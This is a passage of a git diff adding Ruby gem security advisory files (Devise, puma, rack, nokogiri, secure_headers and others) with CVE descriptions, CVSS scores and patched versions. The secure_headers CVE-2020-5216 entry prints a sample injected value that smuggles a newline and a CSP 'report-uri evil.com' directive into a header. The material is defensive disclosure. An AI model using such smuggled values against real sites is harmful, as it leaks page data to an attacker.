+ description: |- + Devise before 4.7.1 confirms accounts upon receiving a request with a blank + confirmation_token, if a database record has a blank value in the confirmation_token column. + However, there is no scenario within Devise itself in which such database records would exist. + cvss_v3: 5.3 + patched_versions: + - ">= 4.7.1" +--- diff --git a/advisories/_posts/2019-09-12-CVE-2019-16892.md b/advisories/_posts/2019-09-12-CVE-2019-16892.md new file mode 100644 index 00000000..0ec6aa23 --- /dev/null +++ b/advisories/_posts/2019-09-12-CVE-2019-16892.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2019-16892 (rubyzip): Denial of Service in rubyzip ("zip bombs")' +comments: false +categories: +- rubyzip +advisory: + gem: rubyzip + cve: 2019-16892 + ghsa: 5m2v-hc64-56h6 + url: https://github.com/rubyzip/rubyzip/pull/403 + title: Denial of Service in rubyzip ("zip bombs") + date: 2019-09-12 + description: |- + In Rubyzip before 1.3.0, a crafted ZIP file can bypass application + checks on ZIP entry sizes because data about the uncompressed size + can be spoofed. This allows attackers to cause a denial of service + (disk consumption). + cvss_v3: 5.5 + patched_versions: + - ">= 1.3.0" +--- diff --git a/advisories/_posts/2019-09-23-CVE-2019-16145.md b/advisories/_posts/2019-09-23-CVE-2019-16145.md new file mode 100644 index 00000000..968ce397 --- /dev/null +++ b/advisories/_posts/2019-09-23-CVE-2019-16145.md @@ -0,0 +1,19 @@ +--- +layout: advisory +title: 'CVE-2019-16145 (padrino-contrib): padrino-contrib XSS via caption parameter + of breadcrumbs helper' +comments: false +categories: +- padrino-contrib +advisory: + gem: padrino-contrib + cve: 2019-16145 + ghsa: rwpr-83g3-96g7 + url: https://github.com/padrino/padrino-contrib/pull/35 + date: 2019-09-23 + title: padrino-contrib XSS via caption parameter of breadcrumbs helper + description: |- + The breadcrumbs contributed module through 0.2.0 for Padrino Framework + allows XSS via a caption. + cvss_v3: 6.1 +--- diff --git a/advisories/_posts/2019-09-23-CVE-2019-16377.md b/advisories/_posts/2019-09-23-CVE-2019-16377.md new file mode 100644 index 00000000..5133b326 --- /dev/null +++ b/advisories/_posts/2019-09-23-CVE-2019-16377.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2019-16377 (consul): Consul gem insufficient authentication check - Multiple + powers in one controller are not always checked correctly' +comments: false +categories: +- consul +advisory: + gem: consul + cve: 2019-16377 + ghsa: 8jhx-9gf4-hhf5 + url: https://github.com/makandra/consul/issues/49 + title: Consul gem insufficient authentication check - Multiple powers in one controller + are not always checked correctly + date: 2019-09-23 + description: |- + With the consul ruby gem before 1.0.3, if a controller checks multiple powers + using `:if` or `:except` conditions, these conditions are erroneously applied + to all power checks in that controller. This can lead to skipped power checks + and hence unauthenticated access to certain controller actions. + cvss_v3: 9.8 + patched_versions: + - ">= 1.0.3" +--- diff --git a/advisories/_posts/2019-09-27-CVE-2019-16676.md b/advisories/_posts/2019-09-27-CVE-2019-16676.md new file mode 100644 index 00000000..bb00f0b6 --- /dev/null +++ b/advisories/_posts/2019-09-27-CVE-2019-16676.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2019-16676 (simple_form): simple_form Gem for Ruby Incorrect Access Control + for forms based on user input' +comments: false +categories: +- simple_form +advisory: + gem: simple_form + cve: 2019-16676 + ghsa: r74q-gxcg-73hx + url: https://github.com/plataformatec/simple_form/security/advisories/GHSA-r74q-gxcg-73hx + title: simple_form Gem for Ruby Incorrect Access Control for forms based on user + input + date: 2019-09-27 + description: |- + Simple Form before 5.0 has Incorrect Access Control in `file_method?` in `lib/simple_form/form_builder.rb`, + because a user-supplied string is invoked as a method call. + + This only happens for pages that build forms based on user input. + cvss_v3: 9.8 + patched_versions: + - ">= 5.0" +--- diff --git a/advisories/_posts/2019-10-07-CVE-2024-22050.md b/advisories/_posts/2019-10-07-CVE-2024-22050.md new file mode 100644 index 00000000..22bbba1d --- /dev/null +++ b/advisories/_posts/2019-10-07-CVE-2024-22050.md @@ -0,0 +1,53 @@ +--- +layout: advisory +title: 'CVE-2024-22050 (iodine): Malicious URL drafting attack against iodines static + file server may allow path traversal' +comments: false +categories: +- iodine +advisory: + gem: iodine + cve: 2024-22050 + ghsa: 85rf-xh54-whp3 + url: https://github.com/boazsegev/iodine/security/advisories/GHSA-85rf-xh54-whp3 + title: Malicious URL drafting attack against iodines static file server may allow + path traversal + date: 2019-10-07 + description: |- + ### Impact + + A path traversal vulnerability was detected in iodine's static + file service. This vulnerability effects any application running + iodine's static file server on an effected iodine version. + + Malicious URL drafting may cause the static file server to attempt + a response containing data from files that shouldn't be normally + accessible from the public folder. + + ### Patches + + The vulnerability was patched in version 0.7.34. Please upgrade + to the latest version. + + ### Workarounds + + A possible workaround would be to disable the static file service + and it's `X-Sendfile` support, sending static files using nginx + or a source code solution (sending the data dynamically). + + However, it would be better to upgrade iodine to the latest + version, as it also contains non-security related fixes. + + ### For more information + If you have any questions or comments about this advisory: + * Email [Boaz Segev](https://github.com/boazsegev) + cvss_v3: 7.5 + patched_versions: + - ">= 0.7.34" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2024-22050 + - https://github.com/boazsegev/iodine/security/advisories/GHSA-85rf-xh54-whp3 + - https://github.com/boazsegev/iodine/commit/5558233fb7defda706b4f9c87c17759705949889 + - https://github.com/advisories/GHSA-85rf-xh54-whp3 +--- diff --git a/advisories/_posts/2019-10-07-GHSA-85rf-xh54-whp3.md b/advisories/_posts/2019-10-07-GHSA-85rf-xh54-whp3.md new file mode 100644 index 00000000..d5761168 --- /dev/null +++ b/advisories/_posts/2019-10-07-GHSA-85rf-xh54-whp3.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'GHSA-85rf-xh54-whp3 (iodine): iodine path traversal via malicious URL drafting + attack' +comments: false +categories: +- iodine +advisory: + gem: iodine + ghsa: 85rf-xh54-whp3 + url: https://github.com/boazsegev/iodine/security/advisories/GHSA-85rf-xh54-whp3 + date: 2019-10-07 + title: iodine path traversal via malicious URL drafting attack + description: | + Malicious URL drafting attack against iodines static file server + may allow path traversal + + Impact: + A path traversal vulnerability was detected in iodine's static file service. + + This vulnerability effects any application running iodine's static file server + on an effected iodine version. + + Malicious URL drafting may cause the static file server to attempt a response + containing data from files that shouldn't be normally accessible from the + public folder. + patched_versions: + - ">= 0.7.34" +--- diff --git a/advisories/_posts/2019-10-14-CVE-2019-17383.md b/advisories/_posts/2019-10-14-CVE-2019-17383.md new file mode 100644 index 00000000..067e549f --- /dev/null +++ b/advisories/_posts/2019-10-14-CVE-2019-17383.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'CVE-2019-17383 (netaddr): netaddr world-writeable file permissions' +comments: false +categories: +- netaddr +advisory: + gem: netaddr + cve: 2019-17383 + ghsa: 49pj-69vf-c689 + url: https://github.com/dspinhirne/netaddr-rb/pull/20 + date: 2019-10-14 + title: netaddr world-writeable file permissions + description: |- + The netaddr gem before 2.0.4 for Ruby has misconfigured file permissions, + such that a gem install may result in 0777 permissions in the target filesystem. + cvss_v3: 9.8 + patched_versions: + - "~> 1.5.3" + - ">= 2.0.4" +--- diff --git a/advisories/_posts/2019-10-22-CVE-2019-15587.md b/advisories/_posts/2019-10-22-CVE-2019-15587.md new file mode 100644 index 00000000..6f32bc32 --- /dev/null +++ b/advisories/_posts/2019-10-22-CVE-2019-15587.md @@ -0,0 +1,20 @@ +--- +layout: advisory +title: 'CVE-2019-15587 (loofah): Loofah XSS Vulnerability' +comments: false +categories: +- loofah +advisory: + gem: loofah + cve: 2019-15587 + ghsa: c3gv-9cxf-6f57 + url: https://github.com/flavorjones/loofah/issues/171 + title: Loofah XSS Vulnerability + date: 2019-10-22 + description: |- + In the Loofah gem, through v2.3.0, unsanitized JavaScript may occur in + sanitized output when a crafted SVG element is republished. + cvss_v3: 6.4 + patched_versions: + - ">= 2.3.1" +--- diff --git a/advisories/_posts/2019-10-24-CVE-2019-18409.md b/advisories/_posts/2019-10-24-CVE-2019-18409.md new file mode 100644 index 00000000..80d51d52 --- /dev/null +++ b/advisories/_posts/2019-10-24-CVE-2019-18409.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2019-18409 (ruby_parser-legacy): ruby_parser-legacy world writable files + allow local privilege escalation' +comments: false +categories: +- ruby_parser-legacy +advisory: + gem: ruby_parser-legacy + cve: 2019-18409 + ghsa: hhwc-8g49-j8jx + url: https://github.com/zenspider/ruby_parser-legacy/issues/1 + title: ruby_parser-legacy world writable files allow local privilege escalation + date: 2019-10-24 + description: |- + The ruby_parser-legacy (aka legacy) gem 1.0.0 for Ruby allows local + privilege escalation because of world-writable files. For example, + if the brakeman gem (which has a legacy dependency) 4.5.0 through 4.7.0 is used, + a local user can insert malicious code into the + ruby_parser-legacy-1.0.0/lib/ruby_parser/legacy/ruby_parser.rb file. + cvss_v2: 4.6 + cvss_v3: 7.8 +--- diff --git a/advisories/_posts/2019-10-31-CVE-2019-13117.md b/advisories/_posts/2019-10-31-CVE-2019-13117.md new file mode 100644 index 00000000..541f5d4a --- /dev/null +++ b/advisories/_posts/2019-10-31-CVE-2019-13117.md @@ -0,0 +1,90 @@ +--- +layout: advisory +title: 'CVE-2019-13117 (nokogiri): Nokogiri gem, via libxslt, is affected by multiple + vulnerabilities' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + cve: 2019-13117 + ghsa: 4hm9-844j-jmxp + url: https://github.com/sparklemotion/nokogiri/issues/1943 + title: Nokogiri gem, via libxslt, is affected by multiple vulnerabilities + date: 2019-10-31 + description: |- + Nokogiri v1.10.5 has been released. + + This is a security release. It addresses three CVEs in upstream libxml2, + for which details are below. + + If you're using your distro's system libraries, rather than Nokogiri's + vendored libraries, there's no security need to upgrade at this time, + though you may want to check with your distro whether they've patched this + (Canonical has patched Ubuntu packages). Note that libxslt 1.1.34 addresses + these vulnerabilities. + + Full details about the security update are available in Github Issue + [#1943] https://github.com/sparklemotion/nokogiri/issues/1943. + + --- + + CVE-2019-13117 + + https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-13117.html + + Priority: Low + + Description: In numbers.c in libxslt 1.1.33, an xsl:number with certain format strings + could lead to a uninitialized read in xsltNumberFormatInsertNumbers. This + could allow an attacker to discern whether a byte on the stack contains the + characters A, a, I, i, or 0, or any other character. + + Patched with commit https://gitlab.gnome.org/GNOME/libxslt/commit/c5eb6cf3aba0af048596106ed839b4ae17ecbcb1 + + --- + + CVE-2019-13118 + + https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-13118.html + + Priority: Low + + Description: In numbers.c in libxslt 1.1.33, a type holding grouping characters of an + xsl:number instruction was too narrow and an invalid character/length + combination could be passed to xsltNumberFormatDecimal, leading to a read + of uninitialized stack data + + Patched with commit https://gitlab.gnome.org/GNOME/libxslt/commit/6ce8de69330783977dd14f6569419489875fb71b + + --- + + CVE-2019-18197 + + https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-18197.html + + Priority: Medium + + Description: In xsltCopyText in transform.c in libxslt 1.1.33, a pointer variable isn't + reset under certain circumstances. If the relevant memory area happened to + be freed and reused in a certain way, a bounds check could fail and memory + outside a buffer could be written to, or uninitialized data could be + disclosed. + + Patched with commit https://gitlab.gnome.org/GNOME/libxslt/commit/2232473733b7313d67de8836ea3b29eec6e8e285 + cvss_v2: 5.0 + cvss_v3: 5.3 + patched_versions: + - ">= 1.10.5" + related: + cve: + - 2019-13118 + - 2019-18197 + url: + - https://nvd.nist.gov/vuln/detail/CVE-2019-13117 + - https://groups.google.com/d/msg/ruby-security-ann/-Wq4aouIA3Q/yc76ZHemBgAJ + - https://usn.ubuntu.com/4164-1/ + - https://gitlab.gnome.org/GNOME/libxslt/commit/c5eb6cf3aba0af048596106ed839b4ae17ecbcb1 + - https://gitlab.gnome.org/GNOME/libxslt/commit/6ce8de69330783977dd14f6569419489875fb71b + - https://gitlab.gnome.org/GNOME/libxslt/commit/2232473733b7313d67de8836ea3b29eec6e8e285 +--- diff --git a/advisories/_posts/2019-11-09-CVE-2019-18841.md b/advisories/_posts/2019-11-09-CVE-2019-18841.md new file mode 100644 index 00000000..238d23a6 --- /dev/null +++ b/advisories/_posts/2019-11-09-CVE-2019-18841.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2019-18841 (chartkick): Prototype Pollution in Chartkick.js 3.1.x' +comments: false +categories: +- chartkick +advisory: + gem: chartkick + cve: 2019-18841 + ghsa: 5pm8-492c-92p5 + url: https://github.com/ankane/chartkick.js/issues/117 + title: Prototype Pollution in Chartkick.js 3.1.x + date: 2019-11-09 + description: |- + A specially crafted response in data loaded via URL + can cause prototype pollution in JavaScript. + cvss_v3: 7.3 + unaffected_versions: + - "< 3.1.0" + patched_versions: + - ">= 3.3.0" +--- diff --git a/advisories/_posts/2019-11-14-CVE-2019-18848.md b/advisories/_posts/2019-11-14-CVE-2019-18848.md new file mode 100644 index 00000000..e2fa997b --- /dev/null +++ b/advisories/_posts/2019-11-14-CVE-2019-18848.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2019-18848 (json-jwt): json-jwt improper input validation due to lack + of element count when splitting string' +comments: false +categories: +- json-jwt +advisory: + gem: json-jwt + cve: 2019-18848 + ghsa: cff7-6h4q-q5pj + url: https://github.com/nov/json-jwt/commit/ada16e772906efdd035e3df49cb2ae372f0f948a + date: 2019-11-14 + title: json-jwt improper input validation due to lack of element count when splitting + string + description: |- + The json-jwt gem before 1.11.0 for Ruby lacks an element count during + the splitting of a JWE string. + cvss_v3: 7.5 + patched_versions: + - ">= 1.11.0" +--- diff --git a/advisories/_posts/2019-11-15-CVE-2019-18978.md b/advisories/_posts/2019-11-15-CVE-2019-18978.md new file mode 100644 index 00000000..b2f10280 --- /dev/null +++ b/advisories/_posts/2019-11-15-CVE-2019-18978.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'CVE-2019-18978 (rack-cors): rack-cors directory traversal via path' +comments: false +categories: +- rack-cors +advisory: + gem: rack-cors + cve: 2019-18978 + ghsa: pf8f-w267-mq2h + url: https://github.com/cyu/rack-cors/commit/e4d4fc362a4315808927011cbe5afcfe5486f17d + title: rack-cors directory traversal via path + date: 2019-11-15 + description: |- + An issue was discovered in the rack-cors (aka Rack CORS Middleware) gem + before 1.0.4 for Ruby. It allows ../ directory traversal to access private resources + because resource matching does not ensure that pathnames are in a canonical format. + cvss_v3: 5.3 + patched_versions: + - ">= 1.0.4" +--- diff --git a/advisories/_posts/2019-12-05-CVE-2019-16770.md b/advisories/_posts/2019-12-05-CVE-2019-16770.md new file mode 100644 index 00000000..203ecdb3 --- /dev/null +++ b/advisories/_posts/2019-12-05-CVE-2019-16770.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2019-16770 (puma): Keepalive thread overload/DoS in puma' +comments: false +categories: +- puma +advisory: + gem: puma + cve: 2019-16770 + ghsa: 7xx3-m584-x994 + url: https://github.com/puma/puma/security/advisories/GHSA-7xx3-m584-x994 + date: 2019-12-05 + title: Keepalive thread overload/DoS in puma + description: |- + A poorly-behaved client could use keepalive requests to monopolize + Puma's reactor and create a denial of service attack. + + If more keepalive connections to Puma are opened than there are + threads available, additional connections will wait permanently if + the attacker sends requests frequently enough. + cvss_v3: 8.8 + cvss_v2: 6.8 + patched_versions: + - "~> 3.12.2" + - ">= 4.3.1" +--- diff --git a/advisories/_posts/2019-12-16-CVE-2019-16779.md b/advisories/_posts/2019-12-16-CVE-2019-16779.md new file mode 100644 index 00000000..1be24bc1 --- /dev/null +++ b/advisories/_posts/2019-12-16-CVE-2019-16779.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'CVE-2019-16779 (excon): Race condition when using persistent connections' +comments: false +categories: +- excon +advisory: + gem: excon + cve: 2019-16779 + ghsa: q58g-455p-8vw9 + url: https://github.com/excon/excon/security/advisories/GHSA-q58g-455p-8vw9 + date: 2019-12-16 + title: Race condition when using persistent connections + description: |- + There was a race condition around persistent connections, where a connection + which is interrupted (such as by a timeout) would leave data on the socket. + Subsequent requests would then read this data, returning content from the + previous response. The race condition window appears to be short, and it + would be difficult to purposefully exploit this. + + Users can workaround the problem by disabling persistent connections, though + this may cause performance implications. + cvss_v3: 5.8 + patched_versions: + - ">= 0.71.0" + related: + url: + - https://github.com/excon/excon/commit/ccb57d7a422f020dc74f1de4e8fb505ab46d8a29 +--- diff --git a/advisories/_posts/2019-12-18-CVE-2019-16782.md b/advisories/_posts/2019-12-18-CVE-2019-16782.md new file mode 100644 index 00000000..85ebf293 --- /dev/null +++ b/advisories/_posts/2019-12-18-CVE-2019-16782.md @@ -0,0 +1,39 @@ +--- +layout: advisory +title: 'CVE-2019-16782 (rack): Possible information leak / session hijack vulnerability' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2019-16782 + ghsa: hrqr-hxpp-chr3 + url: https://github.com/rack/rack/security/advisories/GHSA-hrqr-hxpp-chr3 + date: 2019-12-18 + title: Possible information leak / session hijack vulnerability + description: |- + There's a possible information leak / session hijack vulnerability in Rack. + + Attackers may be able to find and hijack sessions by using timing attacks + targeting the session id. Session ids are usually stored and indexed in a + database that uses some kind of scheme for speeding up lookups of that + session id. By carefully measuring the amount of time it takes to look up + a session, an attacker may be able to find a valid session id and hijack + the session. + + The session id itself may be generated randomly, but the way the session is + indexed by the backing store does not use a secure comparison. + + Impact: + + The session id stored in a cookie is the same id that is used when querying + the backing session storage engine. Most storage mechanisms (for example a + database) use some sort of indexing in order to speed up the lookup of that + id. By carefully timing requests and session lookup failures, an attacker + may be able to perform a timing attack to determine an existing session id + and hijack that session. + cvss_v3: 6.3 + patched_versions: + - "~> 1.6.12" + - ">= 2.0.8" +--- diff --git a/advisories/_posts/2019-12-26-CVE-2019-19919.md b/advisories/_posts/2019-12-26-CVE-2019-19919.md new file mode 100644 index 00000000..107c55cf --- /dev/null +++ b/advisories/_posts/2019-12-26-CVE-2019-19919.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2019-19919 (bootstrap-wysihtml5-rails): Prototype Pollution in handlebars' +comments: false +categories: +- bootstrap-wysihtml5-rails +advisory: + gem: bootstrap-wysihtml5-rails + cve: 2019-19919 + ghsa: w457-6q6x-cgp9 + url: https://github.com/advisories/GHSA-w457-6q6x-cgp9 + title: Prototype Pollution in handlebars + date: 2019-12-26 + description: |- + The bootstrap-wysihtml5-rails gem includes the vendored JavaScript library 'handlebars.js'. + Versions 0.3.3.7-0.3.3.8 include handlebars 3.0.2, and versions 0.3.3.5-0.3.3.6 include handlebars 1.3.0. + + Versions Affected: 0.3.3.5-0.3.3.8 + Not affected: < 0.3.3.5 + Fixed Versions: None + + Versions of handlebars prior to 3.0.8 or 4.3.0 are vulnerable to Prototype Pollution leading to Remote Code Execution. + Templates may alter an Objects' __proto__ and __defineGetter__ properties, which may allow an attacker to execute + arbitrary code through crafted payloads. + cvss_v3: 9.8 + unaffected_versions: + - "< 0.3.3.5" +--- diff --git a/advisories/_posts/2020-01-09-CVE-2014-3211.md b/advisories/_posts/2020-01-09-CVE-2014-3211.md new file mode 100644 index 00000000..f21c9734 --- /dev/null +++ b/advisories/_posts/2020-01-09-CVE-2014-3211.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'CVE-2014-3211 (publify_core): Publify vulnerable to DoS attack' +comments: false +categories: +- publify_core +advisory: + gem: publify_core + cve: 2014-3211 + ghsa: vq74-9583-hrm4 + url: https://github.com/publify/publify/releases/tag/v8.0.2 + title: Publify vulnerable to DoS attack + date: 2020-01-09 + description: Publify before 8.0.2 is vulnerable to a Denial of Service attack + cvss_v2: 5.0 + cvss_v3: 7.5 + patched_versions: + - ">= 8.0.2" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2014-3211 + - https://cve.report/CVE-2014-3211 + - https://github.com/publify/publify/releases/tag/v8.0.2 + - https://publify.github.io + - https://rubygems.org/gems/publify_core + - https://rubygems.org/gems/typo + - https://github.com/advisories/GHSA-vq74-9583-hrm4 + notes: | + Found "Formerly known as Typo" at https://github.com/publify/publify + FYI: Gem publify_core oldest release is 9.0.0.pre1 (11/13/2016); +--- diff --git a/advisories/_posts/2020-01-23-CVE-2020-5216.md b/advisories/_posts/2020-01-23-CVE-2020-5216.md new file mode 100644 index 00000000..685b775d --- /dev/null +++ b/advisories/_posts/2020-01-23-CVE-2020-5216.md @@ -0,0 +1,61 @@ +--- +layout: advisory +title: 'CVE-2020-5216 (secure_headers): secure_headers header injection due to newline' +comments: false +categories: +- secure_headers +advisory: + gem: secure_headers + cve: 2020-5216 + ghsa: w978-rmpf-qmwg + url: https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg + date: 2020-01-23 + title: secure_headers header injection due to newline + description: |- + If user-supplied input was passed into append/override_content_security_policy_directives, + a newline could be injected leading to limited header injection. + + Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy + header with the remaining value of the original string. It will continue to create new headers + for each newline. + + e.g. + + ``` + override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"]) + ``` + + would result in + + ``` + Content-Security-Policy: ... script-src: mycdn.com + Content-Security-Policy: injected + Content-Security-Policy: rest-of-the-header + ``` + + CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial: + + ``` + override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) + ``` + + ``` + Content-Security-Policy: ... script-src: mycdn.com + Content-Security-Policy: default-src 'none'; report-uri evil.com + Content-Security-Policy: rest-of-the-header + ``` + + Workarounds + ``` + override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")]) + ``` + cvss_v3: 4.4 + patched_versions: + - "~> 3.9" + - "~> 5.2" + - ">= 6.3.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/cve-2020-5216 + - https://github.com/github/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg +--- diff --git a/advisories/_posts/2020-01-23-CVE-2020-5217.md b/advisories/_posts/2020-01-23-CVE-2020-5217.md new file mode 100644 index 00000000..93dc6ca5 --- /dev/null +++ b/advisories/_posts/2020-01-23-CVE-2020-5217.md @@ -0,0 +1,51 @@ +--- +layout: advisory +title: 'CVE-2020-5217 (secure_headers): secure_headers directive injection using semicolon' +comments: false +categories: +- secure_headers +advisory: + gem: secure_headers + cve: 2020-5217 + ghsa: xq52-rv6w-397c + url: https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c + date: 2020-01-23 + title: secure_headers directive injection using semicolon + description: |- + If user-supplied input was passed into append/override_content_security_policy_directives, + a semicolon could be injected leading to directive injection. + + This could be used to e.g. override a script-src directive. Duplicate directives are ignored + and the first one wins. The directives in secure_headers are sorted alphabetically so they + pretty much all come before script-src. A previously undefined directive would receive a value + even if SecureHeaders::OPT_OUT was supplied. + + The fixed versions will silently convert the semicolons to spaces and emit a deprecation warning + when this happens. This will result in innocuous browser console messages if being + exploited/accidentally used. In future releases, we will raise application errors resulting in + 500s. + + > Duplicate script-src directives detected. All but the first instance will be ignored. + + See https://www.w3.org/TR/CSP3/#parse-serialized-policy + + > Note: In this case, the user agent SHOULD notify developers that a duplicate directive was + > ignored. A console warning might be appropriate, for example. + + # Workarounds + + If you are passing user input into the above methods, you could filter out the input: + + ``` + override_content_security_policy_directives(:frame_src, [user_input.gsub(";", " ")]) + ``` + cvss_v3: 4.4 + patched_versions: + - "~> 3.8" + - "~> 5.1" + - ">= 6.2.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/cve-2020-5217 + - https://github.com/github/secure_headers/security/advisories/GHSA-xq52-rv6w-397c +--- diff --git a/advisories/_posts/2020-01-25-CVE-2020-7981.md b/advisories/_posts/2020-01-25-CVE-2020-7981.md new file mode 100644 index 00000000..81b7d076 --- /dev/null +++ b/advisories/_posts/2020-01-25-CVE-2020-7981.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2020-7981 (geocoder): Geocoder gem for Ruby contains possible SQL injection + vulnerability' +comments: false +categories: +- geocoder +advisory: + gem: geocoder + cve: 2020-7981 + ghsa: 864j-6qpp-cmrr + url: https://github.com/alexreisner/geocoder/blob/master/CHANGELOG.md#161-2020-jan-23 + title: Geocoder gem for Ruby contains possible SQL injection vulnerability + date: 2020-01-25 + description: |- + sql.rb in Geocoder allows Boolean-based SQL injection when within_bounding_box + is used in conjunction with untrusted sw_lat, sw_lng, ne_lat, or ne_lng data. + cvss_v2: 7.5 + cvss_v3: 9.8 + patched_versions: + - ">= 1.6.1" + related: + url: + - https://github.com/alexreisner/geocoder/compare/v1.6.0...v1.6.1 + - https://github.com/alexreisner/geocoder/commit/dcdc3d8675411edce3965941a2ca7c441ca48613 +--- diff --git a/advisories/_posts/2020-02-10-CVE-2020-5241.md b/advisories/_posts/2020-02-10-CVE-2020-5241.md new file mode 100644 index 00000000..81b87159 --- /dev/null +++ b/advisories/_posts/2020-02-10-CVE-2020-5241.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2020-5241 (matestack-ui-core): matestack-ui-core is vulnerable to XSS/Script + injection' +comments: false +categories: +- matestack-ui-core +advisory: + gem: matestack-ui-core + cve: 2020-5241 + ghsa: 3jqw-vv45-mjhh + url: https://github.com/matestack/matestack-ui-core/security/advisories/GHSA-3jqw-vv45-mjhh + title: matestack-ui-core is vulnerable to XSS/Script injection + date: 2020-02-10 + description: |- + matestack-ui-core does not excape strings by default and does not cover this in the docs. + matestack-ui-core should escape strings by default in order to prevent XSS/Script injection vulnerability. + v0.7.4 fixes that by escaping strings by default. + cvss_v2: 10.0 + cvss_v3: 9.8 + patched_versions: + - ">= 0.7.4" +--- diff --git a/advisories/_posts/2020-02-12-CVE-2020-7595.md b/advisories/_posts/2020-02-12-CVE-2020-7595.md new file mode 100644 index 00000000..e13f3dcf --- /dev/null +++ b/advisories/_posts/2020-02-12-CVE-2020-7595.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2020-7595 (nokogiri): libxml2 2.9.10 has an infinite loop in a certain + end-of-file situation' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + cve: 2020-7595 + ghsa: 7553-jr98-vx47 + url: https://github.com/sparklemotion/nokogiri/issues/1992 + title: libxml2 2.9.10 has an infinite loop in a certain end-of-file situation + date: 2020-02-12 + description: |- + Nokogiri has backported the patch for CVE-2020-7595 into its vendored version + of libxml2, and released this as v1.10.8 + + CVE-2020-7595 has not yet been addressed in an upstream libxml2 release, and + so Nokogiri versions <= v1.10.7 are vulnerable. + cvss_v2: 5.0 + cvss_v3: 7.5 + patched_versions: + - ">= 1.10.8" +--- diff --git a/advisories/_posts/2020-02-14-CVE-2019-10780.md b/advisories/_posts/2020-02-14-CVE-2019-10780.md new file mode 100644 index 00000000..a08aa71d --- /dev/null +++ b/advisories/_posts/2020-02-14-CVE-2019-10780.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'CVE-2019-10780 (bibtex-ruby): OS command injection in BibTeX-Ruby' +comments: false +categories: +- bibtex-ruby +advisory: + gem: bibtex-ruby + cve: 2019-10780 + ghsa: c5r5-7pfh-6qg6 + url: https://github.com/advisories/GHSA-c5r5-7pfh-6qg6 + date: 2020-02-14 + title: OS command injection in BibTeX-Ruby + description: |- + BibTeX-ruby before 5.1.0 allows shell command injection due to unsanitized + user input being passed directly to the built-in Ruby Kernel.open method through + BibTeX.open. + cvss_v3: 9.8 + patched_versions: + - ">= 5.1.0" +--- diff --git a/advisories/_posts/2020-02-27-CVE-2020-5247.md b/advisories/_posts/2020-02-27-CVE-2020-5247.md new file mode 100644 index 00000000..f183405b --- /dev/null +++ b/advisories/_posts/2020-02-27-CVE-2020-5247.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'CVE-2020-5247 (puma): HTTP Response Splitting vulnerability in puma' +comments: false +categories: +- puma +advisory: + gem: puma + cve: 2020-5247 + ghsa: 84j7-475p-hp8v + url: https://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v + date: 2020-02-27 + title: HTTP Response Splitting vulnerability in puma + description: |- + If an application using Puma allows untrusted input in a response header, + an attacker can use newline characters (i.e. CR, LF) to end the header and + inject malicious content, such as additional headers or an entirely new + response body. This vulnerability is known as HTTP Response Splitting. + + While not an attack in itself, response splitting is a vector for several + other attacks, such as cross-site scripting (XSS). + cvss_v3: 6.5 + patched_versions: + - "~> 3.12.4" + - ">= 4.3.3" + related: + cve: + - 2019-16254 +--- diff --git a/advisories/_posts/2020-03-03-CVE-2020-5249.md b/advisories/_posts/2020-03-03-CVE-2020-5249.md new file mode 100644 index 00000000..0757217d --- /dev/null +++ b/advisories/_posts/2020-03-03-CVE-2020-5249.md @@ -0,0 +1,40 @@ +--- +layout: advisory +title: 'CVE-2020-5249 (puma): HTTP Response Splitting (Early Hints) in Puma' +comments: false +categories: +- puma +advisory: + gem: puma + cve: 2020-5249 + ghsa: 33vf-4xgg-9r58 + url: https://github.com/puma/puma/security/advisories/GHSA-33vf-4xgg-9r58 + date: 2020-03-03 + title: HTTP Response Splitting (Early Hints) in Puma + description: |- + ### Impact + If an application using Puma allows untrusted input in an early-hints header, + an attacker can use a carriage return character to end the header and inject + malicious content, such as additional headers or an entirely new response body. + This vulnerability is known as [HTTP Response + Splitting](https://owasp.org/www-community/attacks/HTTP_Response_Splitting) + + While not an attack in itself, response splitting is a vector for several other + attacks, such as cross-site scripting (XSS). + + This is related to [CVE-2020-5247](https://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v), + which fixed this vulnerability but only for regular responses. + + ### Patches + This has been fixed in 4.3.3 and 3.12.4. + + ### Workarounds + Users can not allow untrusted/user input in the Early Hints response header. + cvss_v3: 6.5 + patched_versions: + - "~> 3.12.4" + - ">= 